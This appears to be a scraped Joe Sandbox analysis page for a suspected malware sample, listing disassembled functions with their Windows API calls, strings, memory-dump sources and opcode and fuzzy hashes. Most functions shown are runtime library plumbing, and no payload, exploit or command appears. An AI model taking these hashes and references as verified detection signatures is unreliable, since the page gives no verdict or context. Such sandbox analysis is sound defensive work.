Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: fa0e246cb169483196fa0f5713ec2f1f6365a742636895b4786ab4b7a98d1172
Instruction ID: 8ce6851da5f46b912b9b0d17a702892be3f061406fb3ff8009fd08cf3da0668a
Opcode Fuzzy Hash: fa0e246cb169483196fa0f5713ec2f1f6365a742636895b4786ab4b7a98d1172
Instruction Fuzzy Hash: 0C518D7360020BAFEF20BFA4CC45FAA7AA9FF56744F254429F915DA190EB34DC008B61

Function 00893332 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 008933B8

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 28ab9ecce4e15e3143315e353018c5f3af88507dfb5dc82ed59a1ff67c68ab01
Instruction ID: 1cba27cd7edafde185ef47e0c652e250532108843659d7cd83fc787415ce6ff8
Opcode Fuzzy Hash: 28ab9ecce4e15e3143315e353018c5f3af88507dfb5dc82ed59a1ff67c68ab01
Instruction Fuzzy Hash: 5AB14572A00355AFDF12AF28C881BAE7BA5FF69710F1D4165E904EB382D2709A01C7A5

Function 00885440 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00885477
___except_validate_context_record.LIBVCRUNTIME ref: 0088547F
_ValidateLocalCookies.LIBCMT ref: 00885508
__IsNonwritableInCurrentImage.LIBCMT ref: 00885533
_ValidateLocalCookies.LIBCMT ref: 00885588

Strings

csm, xrefs: 0088551D

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 7611f776bdbbed4d061ac8a4944f7cf40d5d009c8e39b4cc87ddecd4be8394c4
Instruction ID: 8440f4ff0f84b9d195af8f4b5660a044d3c2014794e52633733adf6b4e72ede3
Opcode Fuzzy Hash: 7611f776bdbbed4d061ac8a4944f7cf40d5d009c8e39b4cc87ddecd4be8394c4
Instruction Fuzzy Hash: 7D41C274A006189FCF10EF6CC884A9EBBA1FF05328F148195E918DB752D731DA52CF96

Function 008913F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,BB40E64E,?,00891508,008731F2,?,00000000,?), ref: 008914BA

Strings

api-ms-, xrefs: 00891450
ext-ms-, xrefs: 00891464

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 030678f209cc68276cbeef07dde3c2b358367292206653b86b77e62bff111ac0
Instruction ID: 35335aeb78567b456f506345d155861c14dd43b5e91fabc90814a4e303f23629
Opcode Fuzzy Hash: 030678f209cc68276cbeef07dde3c2b358367292206653b86b77e62bff111ac0
Instruction Fuzzy Hash: C6212B31A05212ABEF21AB65EC48A5A3769FB87774F2D0150E915E76D0EB30ED01C6D4

Function 008847BB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 008847C1
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 008847CF
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 008847E0

Strings

GetSystemTimePreciseAsFileTime, xrefs: 008847C9
GetTempPath2W, xrefs: 008847D5
kernel32.dll, xrefs: 008847BC

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 560ec38650c81334fd84b2255ed706e85aab3b6541cac9e575586fbb272b9b06
Instruction ID: 3cc47adef8d79b8b386a9d42c0fea44bfaec723ffd2237a2b5dcfc5d91552e81
Opcode Fuzzy Hash: 560ec38650c81334fd84b2255ed706e85aab3b6541cac9e575586fbb272b9b06
Instruction Fuzzy Hash: 13D09E71D55210AFB3145FB4BD4D8557AA4FB076213010465F911D2EA4EBB84801DA6E

Function 00898F96 Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 358f0987a3d61b5e4a30afd1aa3c013207c482762cc0a6c4ca4ea9fee5d7bd28
Instruction ID: 906ff7366ad40dfc05f4f5afff79190800f6fe04391df9d506aff6ddf0bef31d
Opcode Fuzzy Hash: 358f0987a3d61b5e4a30afd1aa3c013207c482762cc0a6c4ca4ea9fee5d7bd28
Instruction Fuzzy Hash: CEB1EE70A04249ABEF15EFDCC881BAD7BB4FF5A314F18426CE995DB292C7309941CB61

Function 0088F2AC Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0088F2A3,00884E61,008841CC), ref: 0088F2BA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0088F2C8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0088F2E1
SetLastError.KERNEL32(00000000,0088F2A3,00884E61,008841CC), ref: 0088F333

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 8e9ad44cd36b5df411ddc0e9360032e1cf212b9573cf9d37d849956e2b7208c3
Instruction ID: 559fbc1974bf0f10ba3a4e57278cabd79a0c1e92a8a84e0df616f30746cd2d79
Opcode Fuzzy Hash: 8e9ad44cd36b5df411ddc0e9360032e1cf212b9573cf9d37d849956e2b7208c3
Instruction Fuzzy Hash: BF0171322093115EAA2836B8BC8596B2A95FB12775F24023DF610D5DF2EB554C019392

Function 0088FB24 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0088FC43
CallUnexpected.LIBVCRUNTIME ref: 0088FEBC

Strings

csm, xrefs: 0088FB61
csm, xrefs: 0088FC7A
csm, xrefs: 0088FBCE

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 16f1728ddcc8eaabb820243a9be909e251dec150e7a593264c15d811db62fd25
Instruction ID: 8e273917b4b602e81e6a17de2afb821d772a1fc9b46d08c25ee90e354cb98918
Opcode Fuzzy Hash: 16f1728ddcc8eaabb820243a9be909e251dec150e7a593264c15d811db62fd25
Instruction Fuzzy Hash: 6CB15A71900219DFCF14EFA8C8819AEBBB5FF14310F14416AEA11EB217D735EA61CB92

Function 0088A53C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,008A0244,000000FF,?,0088A5FD,0088A4E4,?,0088A699,00000000), ref: 0088A571
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,00000000,008A0244,000000FF,?,0088A5FD,0088A4E4,?,0088A699,00000000), ref: 0088A583
FreeLibrary.KERNEL32(00000000,?,?,00000000,008A0244,000000FF,?,0088A5FD,0088A4E4,?,0088A699,00000000), ref: 0088A5A5

Strings

mscoree.dll, xrefs: 0088A56A
CorExitProcess, xrefs: 0088A57B

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ca63eb7b27fd81bb5e7b077452b5c5cacf07792027ac7987d6ac5fe7bea9f4e7
Instruction ID: 9027990c797eb427b1a3fc1988f9fbceef16400df1aa986bc128ca8852b94153
Opcode Fuzzy Hash: ca63eb7b27fd81bb5e7b077452b5c5cacf07792027ac7987d6ac5fe7bea9f4e7
Instruction Fuzzy Hash: DA01A731900615AFEB059F80DC09FAE7BB8FB05711F040525E811E2AD0DB789D40CF91

Function 00891BCD Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00891C52
__alloca_probe_16.LIBCMT ref: 00891D1B
__freea.LIBCMT ref: 00891D82

Part of subcall function 008904C1: HeapAlloc.KERNEL32(00000000,?,?,?,0088119F,?,?,008731F2,00001000,?,0087313A), ref: 008904F3

__freea.LIBCMT ref: 00891D95
__freea.LIBCMT ref: 00891DA2

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 0df5ff953d63976bf2f19710af97d508f2ff86b07f98cc8e9d552fef4c041784
Instruction ID: c044d81329905e2700ec53e0ed89513cec9d28037551a25445b1a2e2bcd95702
Opcode Fuzzy Hash: 0df5ff953d63976bf2f19710af97d508f2ff86b07f98cc8e9d552fef4c041784
Instruction Fuzzy Hash: 14517C7260520BAFEF21BFA4CC89EBB3BAAFF44714B1D0529F909D6151EB30DC508661

Function 00871870 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32 ref: 00871922
CloseHandle.KERNEL32 ref: 0087193E

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: CloseFileHandleSize
String ID:
API String ID: 3849164406-0
Opcode ID: 1a5fb7a751e4f6b806cbfd7930f3d9dcb982825c2729079abbe781554af49628
Instruction ID: 7a13ff80895e2b6a7bde2d1b6f9783480a1c6e825921638a39a22a19c4507510
Opcode Fuzzy Hash: 1a5fb7a751e4f6b806cbfd7930f3d9dcb982825c2729079abbe781554af49628
Instruction Fuzzy Hash: B3719AB4D042488FDB04EFA8D59879DBBF0FF48304F10842AE899EB794D734A949CB52

Function 0088388E Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,?,0088386B,?,00000000,?,0087B20C,?,?,0087D57E), ref: 008838A2
AcquireSRWLockExclusive.KERNEL32(?,?,?,0088386B,?,00000000,?,0087B20C,?,?,0087D57E), ref: 008838C1
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0088386B,?,00000000,?,0087B20C,?,?,0087D57E), ref: 008838EF
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0088386B,?,00000000,?,0087B20C,?,?,0087D57E), ref: 0088394A
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,0088386B,?,00000000,?,0087B20C,?,?,0087D57E), ref: 00883961

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 22e7f08da66dfece0034154846b2a22fe98e2fa323c9f2cd8f4099ed3b5f6d8c
Instruction ID: 0ee8844655fde97f7a3e6828e973265889d9eeae3c6d53b86b05b3564236ae6c
Opcode Fuzzy Hash: 22e7f08da66dfece0034154846b2a22fe98e2fa323c9f2cd8f4099ed3b5f6d8c
Instruction Fuzzy Hash: 3F416E71500A0ADFCB20EF69C98496AFBF4FF0AB10B504A29E446D7940E7B0FB85CB51

Function 0088184C Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00881853
std::_Lockit::_Lockit.LIBCPMT ref: 0088185E
std::_Lockit::~_Lockit.LIBCPMT ref: 008818CC

Part of subcall function 00881755: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0088176D

std::locale::_Setgloballocale.LIBCPMT ref: 00881879
_Yarn.LIBCPMT ref: 0088188F

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: bab2ce4dd75c1cef30fd6d44f349f771f2132cfd3a9f0f6d918f4de2467f3ed1
Instruction ID: 0fe3792988f97a3a744ddf72ffec65251e4ffa6fb483573b0cdce7468b681ecc
Opcode Fuzzy Hash: bab2ce4dd75c1cef30fd6d44f349f771f2132cfd3a9f0f6d918f4de2467f3ed1
Instruction Fuzzy Hash: A401D475A002118BEB06FF64D84957C37B9FF86700B184419E81197791DF346E43CB82

Function 0089AC01 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0089AC9D,00000000,?,008AEFA0,?,?,?,0089ABD4,00000004,InitializeCriticalSectionEx,008A4F0C,008A4F14), ref: 0089AC0E
GetLastError.KERNEL32(?,0089AC9D,00000000,?,008AEFA0,?,?,?,0089ABD4,00000004,InitializeCriticalSectionEx,008A4F0C,008A4F14,00000000,?,0089016C), ref: 0089AC18
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0089AC40

Strings

api-ms-, xrefs: 0089AC25

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 99f755f14312d43ba74392fcab9a2e3ba1c01e87b902648fc05e962d35ee179a
Instruction ID: 6ebbda8993139a3f60981bd67f24ca9de2d7d035fa193eec939aff5d59e1139f
Opcode Fuzzy Hash: 99f755f14312d43ba74392fcab9a2e3ba1c01e87b902648fc05e962d35ee179a
Instruction Fuzzy Hash: 9AE04830684204BBFF182F50EC06F593E55FB11F45F184020F90CEC8E1E761D811CA8A

Function 00898366 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 008983C9

Part of subcall function 008905D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00891D78,?,00000000,-00000008), ref: 00890632

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0089861B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00898661
GetLastError.KERNEL32 ref: 00898704

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 5f69084cbc73110eb3ce24beae850518fd3105a3b7d25fd511ba235405b02944
Instruction ID: 6e7718004c8736e119242c0f39899457a9d5684a593822f0eb80b390867f1a93
Opcode Fuzzy Hash: 5f69084cbc73110eb3ce24beae850518fd3105a3b7d25fd511ba235405b02944
Instruction Fuzzy Hash: 34D178B5E00249EFDF15DFE8C8849ADBBB5FF4A314F28412AE516EB351DA30A941CB50

Function 0088F84B Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0088F912
___AdjustPointer.LIBCMT ref: 0088F935
___AdjustPointer.LIBCMT ref: 0088F9D1

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 601c42ca085bdc05d7a9791fbbf74ed0f774deb52a0fbe3e8c797eaff0e7dc93
Instruction ID: 092c1d1af08c21ec24689d3d804586e7c163efe01d23fb186b11bffee4702225
Opcode Fuzzy Hash: 601c42ca085bdc05d7a9791fbbf74ed0f774deb52a0fbe3e8c797eaff0e7dc93
Instruction Fuzzy Hash: B251E272604206AFEB28AF18DD41B7EBBA4FF48714F144539EA05C7692E731EC80CB91

Function 00896192 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 008905D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00891D78,?,00000000,-00000008), ref: 00890632

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 008961F6
__dosmaperr.LIBCMT ref: 008961FD
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00896237
__dosmaperr.LIBCMT ref: 0089623E

Memory Dump Source

Source File: 00000002.00000002.2049136305.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.2049111683.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049163158.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049180361.00000000008AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049198267.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049213513.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2049240462.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
